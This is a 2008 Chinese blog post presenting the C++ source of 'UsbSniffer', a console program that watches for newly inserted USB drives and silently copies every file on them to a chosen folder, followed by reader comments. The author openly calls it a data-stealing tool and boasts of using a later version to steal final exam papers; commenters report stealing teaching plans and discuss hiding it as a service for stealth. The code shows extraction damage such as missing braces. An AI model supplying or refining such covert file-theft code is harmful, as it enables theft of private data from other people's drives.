SeeK.CS 创作自己的作品

思绪来去匆匆,偶尔在这停留。
随笔 - 10, 文章 - 0, 评论 - 53, 引用 - 0
数据加载中……

UsbSniffer---U盘资料窃取器(C++版)

一年多前的用C++写的小东西了(曾经的C++,自从我接触到C#后,就逐渐离我远去了……),该程序曾经在网络技术论坛发过。现在也发到园子里,主要是为了和后期用C#写的另外一个版本的UsbSniffer做下对比。
---------------------------------------------------------------------
功能简介:
本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路径下。
代码如下:(VC6.0下编写)
/*USBsniffer v1.0*/
/*USBsniffer*/
/*作者:seek*/
/*日期:2007.2.17*/
/*E-mail:tseek1@gmail.com*/
/*纯手工作品,如需转载请注明出处*/
#include 
<iostream>
#include 
<stdlib.h>
#include 
<io.h>
#include 
<windows.h>
#include 
<string>
#include 
<sys/types.h>
#include 
<sys/stat.h>
using namespace std;
void copyfiles(string source,char *target);
char *StringToChar(string source);
bool IsDirectory(const char* fname);
void Init();
int main(int argc,char **argv){
 
if(argc!=2){
   Init();
 }

 
else{
   
while(access(*(argv+1),0)==0)// if directory already exist,this will auto add '\1' back it;
     strcat(*(argv+1),"\\1\\");
   }

     
if(createDirectory(*(argv+1),NULL)){
       DWORD frist
=GetLogicalDrives();
       DWORD second,n
=0;
       
string targetPath="0";
       
while(1)// every 3 seconds to estimate if there is a USB device
         Sleep(3000);
         second
=GetLogicalDrives();
         
if(second-frist>0){
           second
-=frist;
           
while(second>>=1) n++;
           targetPath[
0]=n+65;
           targetPath
+=":\\*";
           copyfiles(targetPath,
*(argv+1));
           
return 0;
         }

       }

     }

 }

}

void copyfiles(string source,char *target){
 WIN32_FIND_DATA FindFileData;
 HANDLE hFind;
 
char *sourceDir=0;
 
int len;
 sourceDir
=StringToChar(source);
 len
=strlen(sourceDir);
 hFind 
= FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
 sourceDir[len-1]='\0'// take out '*';
 while(1){
   
if(hFind == INVALID_HANDLE_VALUE)//file found error
     break;
   }

   
else{
     
char temp[200];
     
char tempPath[200],tempSource[200];
     strcpy(temp,sourceDir);
     strcat(temp,FindFileData.cFileName);
     
if(IsDirectory(temp)== true)//estimate whether is a directory
       if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,".."))//take out . & ..dirc
         strcpy(tempSource,sourceDir);
         strcat(tempSource,FindFileData.cFileName);
         strcpy(tempPath,target);
         strcat(tempPath,FindFileData.cFileName);
         createDirectory(tempPath,NULL);
         strcat(tempSource,
"\\*");
         strcat(tempPath,
"\\");
         copyfiles(tempSource,tempPath); 
//Recursion 
       }

     }

     
else//if is a file,copy to target dirc
       strcpy(tempSource,sourceDir);
       strcpy(tempPath,target);
       strcat(tempPath,FindFileData.cFileName);
       strcat(tempSource,FindFileData.cFileName);
       CopyFile(tempSource,tempPath,
false);
     }

     
if(FindNextFile(hFind,&FindFileData)==0break//found the next file
   }

 }

 FindClose(hFind);  
//handle closed;
}
 
char* StringToChar(string source)//string convent to char*
char *ch=new char[source.length()];
 ch
=(char*)source.c_str();
 
return ch;
}

bool IsDirectory(const char* fname) //Directory estimate
{
 
return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
}
 
void Init()//init function
 cout<<"\nUSBsniffer v1.0 \n"<<endl
   
<<"e.g: usbsniffer c:\\usb\\"<<endl
   
<<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
   
<<",and the whole log will be saved to c:\\log.txt"<<endl
   
<<"\nWitten By SeeK QQ:771014"<<endl
   
<<"\n2007.2.17"<<endl;
}

一个控制台程序,没有实用价值,完全是为了实现一种思想,不过后期用C#写了个WinForm的,到是用的感觉不错(曾成功窃取了期末考试卷:),今后会陆续发上来,还希望大家多关注本人Blog^_^
SIGNATRUE-----------------------------------
龟看上去很慢很慢,而且还有些憨,虽然没有兔子跑的快,但是只要有坚持不懈的毅力,就一定会到达成功的比彼岸.如果自己是龟,就不要试图把自己变成兔子,我就是那只憨龟。

posted on 2008-04-26 00:28 seek 阅读(655) 评论(15)  编辑 收藏 所属分类: 原创作品

评论

#1楼    回复  引用  查看    

米事时研究下
2008-04-26 08:43 | 留恋星空      

#2楼    回复  引用    

曾成功窃取了期末考试卷

2008-04-26 14:53 | try1 [未注册用户]

#3楼    回复  引用    

事实上,USB的插入和拔出是可以检查到的啊,
2008-04-26 16:43 | netkiller [未注册用户]

#4楼 [楼主]   回复  引用  查看    

@netkiller
请问你用到是哪些系统API?我当时没有找到插入U盘后会引发哪些相关的事件。于是就用了个循环 来检测当前磁盘驱动器的数目来判断。
2008-04-26 23:07 | seek      

#5楼    回复  引用  查看    

想法很酷 特别是最后那个补充说明。。。
不过这类东西或许可以考虑写成一个windows service哈哈

“曾经的C++,自从我接触到C#后,就逐渐离我远去了……”
很羡慕lz深入研究过C++,其实多接触这类相对底层的程序语言,对本身的编程能力绝对有好处的,建议lz千万不要把C/C++丢了啊,想进IT牛企,这是必须的,亲身实践证明......我直接学C#上手,最近重温C,觉得很累
2008-04-28 00:43 | SHUFE.41      

#6楼    回复  引用    

呵呵,这次与客户沟通,我就有这个想法,刚回公司就看见你发这个,谢了!
2008-04-28 11:32 | s33 [未注册用户]

#7楼 [楼主]   回复  引用  查看    

@s33
我做的东西能帮助上你,我也感到很高兴!
2008-04-28 18:04 | seek      

#8楼 [楼主]   回复  引用  查看    

@SHUFE.41
哈~Win Service的版本也写过一个,当时就想着能隐藏进程。不过做出来后发现首次运行的时候需要安装。发现不符合Sniffer的特性(隐蔽性强)。
C++本人也没有做过什么“深入研究”,只是懂点皮毛,以前学数据结构的时候一直用她。自从上了三年纪后就基本没有碰过她了……(惭愧啊),一直被C#那简单的用法吸引着,这是社会并不认可,但凡大公司(甚至很多小企业)无论招哪类开发人员笔试or面试都考C/C++,搞的本人最近和你一样,开始重温C++了。呵呵,共同努力啊!
2008-04-28 18:12 | seek      

#9楼    回复  引用  查看    

留下脚印,谢谢,有空再学习
2008-04-29 14:05 | 清风笑      

#10楼    回复  引用    

你好...你可以教我成功窃取期末考试卷 嗎
2008-05-23 00:12 | SAMleisang [未注册用户]

#11楼 [楼主]   回复  引用  查看    

@SAMleisang
近期发布C#版本的sniffer,请关注本站
2008-05-23 08:12 | seek      

#12楼    回复  引用  查看    

o(∩_∩)o...
我写得还比你早一点,大改05年吧。
偷了好多教案。。。卷子倒是从来没偷到过
2008-05-26 13:38 | yzlhccdec      

#13楼 [楼主]   回复  引用  查看    

@yzlhccdec
哈哈,看来大家都对这东西蛮有兴趣的嘛~~
2008-05-28 18:41 | seek      

#14楼    回复  引用  查看    

楼主,C#版在哪里?看看哦
2008-07-21 11:22 | 雲淡風清      

#15楼 [楼主]   回复  引用  查看    

@雲淡風清
就这两天上传,请等待哈~
2008-07-25 21:31 | seek      

标题  
姓名  
主页
Email (只有博主才能看到) 
验证码 *  看不清,换一张 [登录][注册]
内容(请不要发表任何与政治相关的内容)  
  登录  使用高级评论  新用户注册  返回页首  恢复上次提交      


相关链接: